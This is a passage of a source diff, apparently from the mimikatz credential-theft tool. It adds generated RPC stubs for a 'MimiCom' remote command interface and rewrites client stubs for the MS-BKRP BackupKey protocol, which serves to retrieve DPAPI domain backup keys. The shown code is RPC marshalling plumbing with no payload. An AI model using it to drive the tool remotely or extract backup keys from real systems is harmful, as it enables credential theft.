+#define TYPE_FORMAT_STRING_SIZE	105
+#define PROC_FORMAT_STRING_SIZE	161
+static const unsigned short MimiCom_FormatStringOffsetTable[] = {0, 52, 94};
+#endif
+
+typedef struct _mimicom_MIDL_TYPE_FORMAT_STRING {
+	SHORT Pad;
+	UCHAR Format[TYPE_FORMAT_STRING_SIZE];
+} mimicom_MIDL_TYPE_FORMAT_STRING;
+
+typedef struct _mimicom_MIDL_PROC_FORMAT_STRING {
+	SHORT Pad;
+	UCHAR Format[PROC_FORMAT_STRING_SIZE];
+} mimicom_MIDL_PROC_FORMAT_STRING;
+
+extern const mimicom_MIDL_TYPE_FORMAT_STRING mimicom__MIDL_TypeFormatString;
+extern const mimicom_MIDL_PROC_FORMAT_STRING mimicom__MIDL_ProcFormatString;
+extern const MIDL_SERVER_INFO MimiCom_ServerInfo;
+
+static const RPC_DISPATCH_FUNCTION MimiCom_table[] = {NdrServerCall2, NdrServerCall2, NdrServerCall2, 0};
+static const RPC_DISPATCH_TABLE MimiCom_v1_0_DispatchTable = {3, (RPC_DISPATCH_FUNCTION *) MimiCom_table};
+static const RPC_SERVER_INTERFACE MimiCom___RpcServerInterface = {sizeof(RPC_SERVER_INTERFACE), {{0x17fc11e9, 0xc258, 0x4b8d, {0x8d, 0x07, 0x2f, 0x41, 0x25, 0x15, 0x62, 0x44}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9,{ 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, (RPC_DISPATCH_TABLE *) &MimiCom_v1_0_DispatchTable, 0, 0, 0, &MimiCom_ServerInfo, 0x04000000};
+static const RPC_CLIENT_INTERFACE MimiCom___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0x17fc11e9, 0xc258, 0x4b8d, {0x8d, 0x07, 0x2f, 0x41, 0x25, 0x15, 0x62, 0x44}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9,{ 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000000};
+RPC_IF_HANDLE
+	MimiCom_v1_0_s_ifspec = (RPC_IF_HANDLE) &MimiCom___RpcServerInterface,
+	MimiCom_v1_0_c_ifspec = (RPC_IF_HANDLE) &MimiCom___RpcClientInterface;
+static const NDR_RUNDOWN RundownRoutines[] = {SRV_MIMI_HANDLE_rundown};
+static const SERVER_ROUTINE MimiCom_ServerRoutineTable[] = {
+    (SERVER_ROUTINE) SRV_MimiBind,
+    (SERVER_ROUTINE) SRV_MiniUnbind,
+    (SERVER_ROUTINE) SRV_MimiCommand
+};
+static RPC_BINDING_HANDLE MimiCom__MIDL_AutoBindHandle;
+static const MIDL_STUB_DESC
+	MimiCom_s_StubDesc = {(void *) &MimiCom___RpcServerInterface, MIDL_user_allocate, MIDL_user_free, 0, RundownRoutines, 0, 0, 0, mimicom__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0},
+	MimiCom_c_StubDesc = {(void *) &MimiCom___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &MimiCom__MIDL_AutoBindHandle, 0, 0, 0, 0, mimicom__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0};
+static const MIDL_SERVER_INFO MimiCom_ServerInfo = {&MimiCom_s_StubDesc, MimiCom_ServerRoutineTable, mimicom__MIDL_ProcFormatString.Format, MimiCom_FormatStringOffsetTable, 0, 0, 0, 0};
+
+#ifdef _M_X64
+NTSTATUS CLI_MimiBind(handle_t rpc_handle, PMIMI_PUBLICKEY clientPublicKey, PMIMI_PUBLICKEY serverPublicKey, MIMI_HANDLE *phMimi)
+{
+	return (NTSTATUS) NdrClientCall2((PMIDL_STUB_DESC) &MimiCom_c_StubDesc, (PFORMAT_STRING) &mimicom__MIDL_ProcFormatString.Format[0], rpc_handle, clientPublicKey, serverPublicKey, phMimi).Simple;
+}
+NTSTATUS CLI_MiniUnbind(MIMI_HANDLE *phMimi)
+{
+	return (NTSTATUS) NdrClientCall2((PMIDL_STUB_DESC) &MimiCom_c_StubDesc, (PFORMAT_STRING) &mimicom__MIDL_ProcFormatString.Format[54], phMimi).Simple;
+}
+NTSTATUS CLI_MimiCommand(MIMI_HANDLE phMimi, DWORD szEncCommand, BYTE *encCommand, DWORD *szEncResult, BYTE **encResult)
+{
+	return (NTSTATUS) NdrClientCall2((PMIDL_STUB_DESC) &MimiCom_c_StubDesc, (PFORMAT_STRING) &mimicom__MIDL_ProcFormatString.Format[98], phMimi, szEncCommand, encCommand, szEncResult, encResult).Simple;
+}
+static const mimicom_MIDL_PROC_FORMAT_STRING mimicom__MIDL_ProcFormatString = {0, {
+	0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x47, 0x04, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01,
+	0x08, 0x00, 0x12, 0x00, 0x13, 0x41, 0x10, 0x00, 0x12, 0x00, 0x10, 0x01, 0x18, 0x00, 0x2a, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00,
+	0x30, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x40, 0x00, 0x44, 0x02, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x32, 0x00, 0x70, 0x00, 0x08, 0x00,
+	0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x30, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x36, 0x00, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x3a, 0x00, 0x50, 0x21, 0x18, 0x00, 0x08, 0x00, 0x13, 0x20, 0x20, 0x00, 0x4e, 0x00,
+	0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00,
+}};
+static const mimicom_MIDL_TYPE_FORMAT_STRING mimicom__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x11, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x08, 0x36, 0x5b, 0x12, 0x00,
+	0xe6, 0xff, 0x11, 0x04, 0xee, 0xff, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x30, 0x41, 0x00, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00,
+	0x01, 0x00, 0x29, 0x00, 0x08, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x11, 0x0c, 0x08, 0x5c, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x18, 0x00, 0x01, 0x00,
+	0x02, 0x5b, 0x00,
+}};
+#elif defined _M_IX86
+#pragma optimize("", off ) 
+NTSTATUS CLI_MimiBind(handle_t rpc_handle, PMIMI_PUBLICKEY clientPublicKey, PMIMI_PUBLICKEY serverPublicKey, MIMI_HANDLE *phMimi)
+{
+	return (NTSTATUS) NdrClientCall2((PMIDL_STUB_DESC) &MimiCom_c_StubDesc, (PFORMAT_STRING) &mimicom__MIDL_ProcFormatString.Format[0], (unsigned char *) &rpc_handle).Simple;
+}
+NTSTATUS CLI_MiniUnbind(MIMI_HANDLE *phMimi)
+{
+	return (NTSTATUS) NdrClientCall2((PMIDL_STUB_DESC) &MimiCom_c_StubDesc, (PFORMAT_STRING) &mimicom__MIDL_ProcFormatString.Format[52], (unsigned char *) &phMimi).Simple;
+}
+NTSTATUS CLI_MimiCommand(MIMI_HANDLE phMimi, DWORD szEncCommand, BYTE *encCommand, DWORD *szEncResult, BYTE **encResult)
+{
+	return (NTSTATUS) NdrClientCall2((PMIDL_STUB_DESC) &MimiCom_c_StubDesc, (PFORMAT_STRING) &mimicom__MIDL_ProcFormatString.Format[94], (unsigned char *) &phMimi).Simple;
+}
+#pragma optimize("", on )
+static const mimicom_MIDL_PROC_FORMAT_STRING mimicom__MIDL_ProcFormatString = {0, {
+	0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x47, 0x04, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00,
+	0x12, 0x00, 0x13, 0x41, 0x08, 0x00, 0x12, 0x00, 0x10, 0x01, 0x0c, 0x00, 0x30, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x30, 0xe0,
+	0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x40, 0x00, 0x44, 0x02, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x38, 0x00, 0x70, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x48,
+	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x18, 0x00, 0x30, 0x40, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
+	0x3c, 0x00, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x40, 0x00, 0x50, 0x21, 0x0c, 0x00, 0x08, 0x00, 0x13, 0x20, 0x10, 0x00, 0x54, 0x00, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00,
+	0x00,
+}};
+static const mimicom_MIDL_TYPE_FORMAT_STRING mimicom__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x11, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x16, 0x03, 0x0c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x00,
+	0xe6, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x11, 0x04, 0xe8, 0xff, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x30, 0x41, 0x00, 0x00,
+	0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x00, 0x04, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x11, 0x0c, 0x08, 0x5c, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00,
+	0x29, 0x54, 0x0c, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x00,
+}};
+#endif
--- a/modules/rpc/kull_m_rpc_mimicom.h
+++ b/modules/rpc/kull_m_rpc_mimicom.h
@ -0,0 +1,15 @@
+#pragma once
+#include "kull_m_rpc.h"
+
+typedef void *MIMI_HANDLE;
+
+NTSTATUS SRV_MimiBind(handle_t rpc_handle, PMIMI_PUBLICKEY clientPublicKey, PMIMI_PUBLICKEY serverPublicKey, MIMI_HANDLE *phMimi);
+NTSTATUS SRV_MiniUnbind(MIMI_HANDLE *phMimi);
+NTSTATUS SRV_MimiCommand(MIMI_HANDLE phMimi, DWORD szEncCommand, BYTE *encCommand, DWORD *szEncResult, BYTE **encResult);
+
+NTSTATUS CLI_MimiBind(handle_t rpc_handle, PMIMI_PUBLICKEY clientPublicKey, PMIMI_PUBLICKEY serverPublicKey, MIMI_HANDLE *phMimi);
+NTSTATUS CLI_MiniUnbind(MIMI_HANDLE *phMimi);
+NTSTATUS CLI_MimiCommand(MIMI_HANDLE phMimi, DWORD szEncCommand, BYTE *encCommand, DWORD *szEncResult, BYTE **encResult);
+
+void __RPC_USER SRV_MIMI_HANDLE_rundown(MIMI_HANDLE phMimi);
+extern RPC_IF_HANDLE MimiCom_v1_0_c_ifspec, MimiCom_v1_0_s_ifspec;
--- a/modules/rpc/kull_m_rpc_ms-bkrp_c.c
+++ b/modules/rpc/kull_m_rpc_ms-bkrp_c.c
@ -6,23 +6,15 @@ const GUID
 	BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = {0x018ff48a, 0xeaba, 0x40c6, {0x8f, 0x6d, 0x72, 0x37, 0x02, 0x40, 0xe9, 0x67}},
 	BACKUPKEY_RESTORE_GUID = {0x47270c64, 0x2fc7, 0x499b, {0xac, 0x5b, 0x0e, 0x37, 0xcd, 0xce, 0x89, 0x9a}};

-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-
-#pragma warning( disable: 4211 )  /* redefine extern to static */
-#pragma warning( disable: 4232 )  /* dllimport identity*/
-#pragma warning( disable: 4024 )  /* array to pointer mapping*/
-
 #ifdef _M_X64
 typedef struct _ms2Dbkrp_MIDL_TYPE_FORMAT_STRING {
-	short          Pad;
-	unsigned char  Format[65];
+	SHORT Pad;
+	UCHAR Format[65];
 } ms2Dbkrp_MIDL_TYPE_FORMAT_STRING;

 typedef struct _ms2Dbkrp_MIDL_PROC_FORMAT_STRING {
-	short          Pad;
-	unsigned char  Format[73];
+	SHORT Pad;
+	CHAR Format[73];
 } ms2Dbkrp_MIDL_PROC_FORMAT_STRING;

 extern const ms2Dbkrp_MIDL_TYPE_FORMAT_STRING ms2Dbkrp__MIDL_TypeFormatString;
@ -36,140 +28,25 @@ NET_API_STATUS BackuprKey(handle_t h, GUID *pguidActionAgent, byte *pDataIn, DWO
 	return (NET_API_STATUS) NdrClientCall2((PMIDL_STUB_DESC) &BackupKey_StubDesc, (PFORMAT_STRING) &ms2Dbkrp__MIDL_ProcFormatString.Format[0], h, pguidActionAgent, pDataIn, cbDataIn, ppDataOut, pcbDataOut, dwParam).Simple;
 }

-#if !defined(__RPC_WIN64__)
-#error  Invalid build platform for this stub.
-#endif
-
-static const ms2Dbkrp_MIDL_PROC_FORMAT_STRING ms2Dbkrp__MIDL_ProcFormatString = {
-        0,
-        {
-	/* Procedure BackuprKey */
-			0x0,		/* 0 */
-			0x48,		/* Old Flags:  */
-/*  2 */	NdrFcLong( 0x0 ),	/* 0 */
-/*  6 */	NdrFcShort( 0x0 ),	/* 0 */
-/*  8 */	NdrFcShort( 0x40 ),	/* X64 Stack size/offset = 64 */
-/* 10 */	0x32,		/* FC_BIND_PRIMITIVE */
-			0x0,		/* 0 */
-/* 12 */	NdrFcShort( 0x0 ),	/* X64 Stack size/offset = 0 */
-/* 14 */	NdrFcShort( 0x54 ),	/* 84 */
-/* 16 */	NdrFcShort( 0x24 ),	/* 36 */
-/* 18 */	0x47,		/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */
-			0x7,		/* 7 */
-/* 20 */	0xa,		/* 10 */
-			0x7,		/* Ext Flags:  new corr desc, clt corr check, srv corr check, */
-/* 22 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 24 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 26 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 28 */	NdrFcShort( 0x0 ),	/* 0 */
-	/* Parameter h */
-/* 30 */	NdrFcShort( 0x10a ),	/* Flags:  must free, in, simple ref, */
-/* 32 */	NdrFcShort( 0x8 ),	/* X64 Stack size/offset = 8 */
-/* 34 */	NdrFcShort( 0xc ),	/* Type Offset=12 */
-	/* Parameter pguidActionAgent */
-/* 36 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
-/* 38 */	NdrFcShort( 0x10 ),	/* X64 Stack size/offset = 16 */
-/* 40 */	NdrFcShort( 0x1c ),	/* Type Offset=28 */
-	/* Parameter pDataIn */
-/* 42 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
-/* 44 */	NdrFcShort( 0x18 ),	/* X64 Stack size/offset = 24 */
-/* 46 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-	/* Parameter cbDataIn */
-/* 48 */	NdrFcShort( 0x2013 ),	/* Flags:  must size, must free, out, srv alloc size=8 */
-/* 50 */	NdrFcShort( 0x20 ),	/* X64 Stack size/offset = 32 */
-/* 52 */	NdrFcShort( 0x28 ),	/* Type Offset=40 */
-	/* Parameter ppDataOut */
-/* 54 */	NdrFcShort( 0x2150 ),	/* Flags:  out, base type, simple ref, srv alloc size=8 */
-/* 56 */	NdrFcShort( 0x28 ),	/* X64 Stack size/offset = 40 */
-/* 58 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-	/* Parameter pcbDataOut */
-/* 60 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
-/* 62 */	NdrFcShort( 0x30 ),	/* X64 Stack size/offset = 48 */
-/* 64 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-	/* Parameter dwParam */
-/* 66 */	NdrFcShort( 0x70 ),	/* Flags:  out, return, base type, */
-/* 68 */	NdrFcShort( 0x38 ),	/* X64 Stack size/offset = 56 */
-/* 70 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-
-			0x0
-        }
-    };
-
-static const ms2Dbkrp_MIDL_TYPE_FORMAT_STRING ms2Dbkrp__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x11, 0x0,	/* FC_RP */
-/*  4 */	NdrFcShort( 0x8 ),	/* Offset= 8 (12) */
-/*  6 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/*  8 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 10 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 12 */	
-			0x15,		/* FC_STRUCT */
-			0x3,		/* 3 */
-/* 14 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 16 */	0x8,		/* FC_LONG */
-			0x6,		/* FC_SHORT */
-/* 18 */	0x6,		/* FC_SHORT */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 20 */	0x0,		/* 0 */
-			NdrFcShort( 0xfff1 ),	/* Offset= -15 (6) */
-			0x5b,		/* FC_END */
-/* 24 */	
-			0x11, 0x0,	/* FC_RP */
-/* 26 */	NdrFcShort( 0x2 ),	/* Offset= 2 (28) */
-/* 28 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 30 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 32 */	0x29,		/* Corr desc:  parameter, FC_ULONG */
-			0x0,		/*  */
-/* 34 */	NdrFcShort( 0x18 ),	/* X64 Stack size/offset = 24 */
-/* 36 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 38 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 40 */	
-			0x11, 0x14,	/* FC_RP [alloced_on_stack] [pointer_deref] */
-/* 42 */	NdrFcShort( 0x2 ),	/* Offset= 2 (44) */
-/* 44 */	
-			0x12, 0x0,	/* FC_UP */
-/* 46 */	NdrFcShort( 0x2 ),	/* Offset= 2 (48) */
-/* 48 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 50 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 52 */	0x29,		/* Corr desc:  parameter, FC_ULONG */
-			0x54,		/* FC_DEREFERENCE */
-/* 54 */	NdrFcShort( 0x28 ),	/* X64 Stack size/offset = 40 */
-/* 56 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 58 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 60 */	
-			0x11, 0xc,	/* FC_RP [alloced_on_stack] [simple_pointer] */
-/* 62 */	0x8,		/* FC_LONG */
-			0x5c,		/* FC_PAD */
-
-			0x0
-        }
-    };
-
+static const ms2Dbkrp_MIDL_PROC_FORMAT_STRING ms2Dbkrp__MIDL_ProcFormatString = {0, {
+	0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x32, 0x00, 0x00, 0x00, 0x54, 0x00, 0x24, 0x00, 0x47, 0x07, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x01,
+	0x08, 0x00, 0x0c, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x1c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x13, 0x20, 0x20, 0x00, 0x28, 0x00, 0x50, 0x21, 0x28, 0x00, 0x08, 0x00, 0x48, 0x00, 0x30, 0x00,
+	0x08, 0x00, 0x70, 0x00, 0x38, 0x00, 0x08, 0x00, 0x00,
+}};
+static const ms2Dbkrp_MIDL_TYPE_FORMAT_STRING ms2Dbkrp__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x11, 0x00, 0x08, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x11, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00,
+	0x29, 0x00, 0x18, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x14, 0x02, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x29, 0x54, 0x28, 0x00, 0x00, 0x00, 0x01, 0x5b, 0x11, 0x0c, 0x08, 0x5c,
+	0x00,
+}};
 #elif defined _M_IX86
 typedef struct _ms2Dbkrp_MIDL_TYPE_FORMAT_STRING {
-	short          Pad;
-	unsigned char  Format[65];
+	SHORT Pad;
+	UCHAR Format[65];
 } ms2Dbkrp_MIDL_TYPE_FORMAT_STRING;

 typedef struct _ms2Dbkrp_MIDL_PROC_FORMAT_STRING {
-	short          Pad;
-	unsigned char  Format[71];
+	SHORT Pad;
+	UCHAR Format[71];
 } ms2Dbkrp_MIDL_PROC_FORMAT_STRING;

 extern const ms2Dbkrp_MIDL_TYPE_FORMAT_STRING ms2Dbkrp__MIDL_TypeFormatString;
@ -177,145 +54,20 @@ extern const ms2Dbkrp_MIDL_PROC_FORMAT_STRING ms2Dbkrp__MIDL_ProcFormatString;
 static const RPC_CLIENT_INTERFACE BackupKey___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0x3dde7c30, 0x165d, 0x11d1, {0xab, 0x8f, 0x00, 0x80, 0x5f, 0x14, 0xdb, 0x40}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000000};
 static RPC_BINDING_HANDLE BackupKey__MIDL_AutoBindHandle;
 static const MIDL_STUB_DESC BackupKey_StubDesc = {(void *) &BackupKey___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &BackupKey__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Dbkrp__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0};
-
 #pragma optimize("", off) 
 NET_API_STATUS BackuprKey(handle_t h, GUID *pguidActionAgent, byte *pDataIn, DWORD cbDataIn, byte **ppDataOut, DWORD *pcbDataOut, DWORD dwParam)
 {
    return (NET_API_STATUS) NdrClientCall2((PMIDL_STUB_DESC) &BackupKey_StubDesc, (PFORMAT_STRING) &ms2Dbkrp__MIDL_ProcFormatString.Format[0], (unsigned char *) &h).Simple;
 }
 #pragma optimize("", on)
-
-#if !defined(__RPC_WIN32__)
-#error  Invalid build platform for this stub.
-#endif
-#if !(TARGET_IS_NT51_OR_LATER)
-#error You need Windows XP or later to run this stub because it uses these features:
-#error   compiled for Windows XP.
-#error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
-#error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
-#endif
-
-static const ms2Dbkrp_MIDL_PROC_FORMAT_STRING ms2Dbkrp__MIDL_ProcFormatString = {
-        0,
-        {
-	/* Procedure BackuprKey */
-			0x0,		/* 0 */
-			0x48,		/* Old Flags:  */
-/*  2 */	NdrFcLong( 0x0 ),	/* 0 */
-/*  6 */	NdrFcShort( 0x0 ),	/* 0 */
-/*  8 */	NdrFcShort( 0x20 ),	/* x86 Stack size/offset = 32 */
-/* 10 */	0x32,		/* FC_BIND_PRIMITIVE */
-			0x0,		/* 0 */
-/* 12 */	NdrFcShort( 0x0 ),	/* x86 Stack size/offset = 0 */
-/* 14 */	NdrFcShort( 0x54 ),	/* 84 */
-/* 16 */	NdrFcShort( 0x24 ),	/* 36 */
-/* 18 */	0x47,		/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */
-			0x7,		/* 7 */
-/* 20 */	0x8,		/* 8 */
-			0x7,		/* Ext Flags:  new corr desc, clt corr check, srv corr check, */
-/* 22 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 24 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 26 */	NdrFcShort( 0x0 ),	/* 0 */
-	/* Parameter h */
-/* 28 */	NdrFcShort( 0x10a ),	/* Flags:  must free, in, simple ref, */
-/* 30 */	NdrFcShort( 0x4 ),	/* x86 Stack size/offset = 4 */
-/* 32 */	NdrFcShort( 0xc ),	/* Type Offset=12 */
-	/* Parameter pguidActionAgent */
-/* 34 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
-/* 36 */	NdrFcShort( 0x8 ),	/* x86 Stack size/offset = 8 */
-/* 38 */	NdrFcShort( 0x1c ),	/* Type Offset=28 */
-	/* Parameter pDataIn */
-/* 40 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
-/* 42 */	NdrFcShort( 0xc ),	/* x86 Stack size/offset = 12 */
-/* 44 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-	/* Parameter cbDataIn */
-/* 46 */	NdrFcShort( 0x2013 ),	/* Flags:  must size, must free, out, srv alloc size=8 */
-/* 48 */	NdrFcShort( 0x10 ),	/* x86 Stack size/offset = 16 */
-/* 50 */	NdrFcShort( 0x28 ),	/* Type Offset=40 */
-	/* Parameter ppDataOut */
-/* 52 */	NdrFcShort( 0x2150 ),	/* Flags:  out, base type, simple ref, srv alloc size=8 */
-/* 54 */	NdrFcShort( 0x14 ),	/* x86 Stack size/offset = 20 */
-/* 56 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-	/* Parameter pcbDataOut */
-/* 58 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
-/* 60 */	NdrFcShort( 0x18 ),	/* x86 Stack size/offset = 24 */
-/* 62 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-	/* Parameter dwParam */
-/* 64 */	NdrFcShort( 0x70 ),	/* Flags:  out, return, base type, */
-/* 66 */	NdrFcShort( 0x1c ),	/* x86 Stack size/offset = 28 */
-/* 68 */	0x8,		/* FC_LONG */
-			0x0,		/* 0 */
-
-			0x0
-        }
-};
-
-static const ms2Dbkrp_MIDL_TYPE_FORMAT_STRING ms2Dbkrp__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x11, 0x0,	/* FC_RP */
-/*  4 */	NdrFcShort( 0x8 ),	/* Offset= 8 (12) */
-/*  6 */	
-			0x1d,		/* FC_SMFARRAY */
-			0x0,		/* 0 */
-/*  8 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 10 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 12 */	
-			0x15,		/* FC_STRUCT */
-			0x3,		/* 3 */
-/* 14 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 16 */	0x8,		/* FC_LONG */
-			0x6,		/* FC_SHORT */
-/* 18 */	0x6,		/* FC_SHORT */
-			0x4c,		/* FC_EMBEDDED_COMPLEX */
-/* 20 */	0x0,		/* 0 */
-			NdrFcShort( 0xfff1 ),	/* Offset= -15 (6) */
-			0x5b,		/* FC_END */
-/* 24 */	
-			0x11, 0x0,	/* FC_RP */
-/* 26 */	NdrFcShort( 0x2 ),	/* Offset= 2 (28) */
-/* 28 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 30 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 32 */	0x29,		/* Corr desc:  parameter, FC_ULONG */
-			0x0,		/*  */
-/* 34 */	NdrFcShort( 0xc ),	/* x86 Stack size/offset = 12 */
-/* 36 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 38 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 40 */	
-			0x11, 0x14,	/* FC_RP [alloced_on_stack] [pointer_deref] */
-/* 42 */	NdrFcShort( 0x2 ),	/* Offset= 2 (44) */
-/* 44 */	
-			0x12, 0x0,	/* FC_UP */
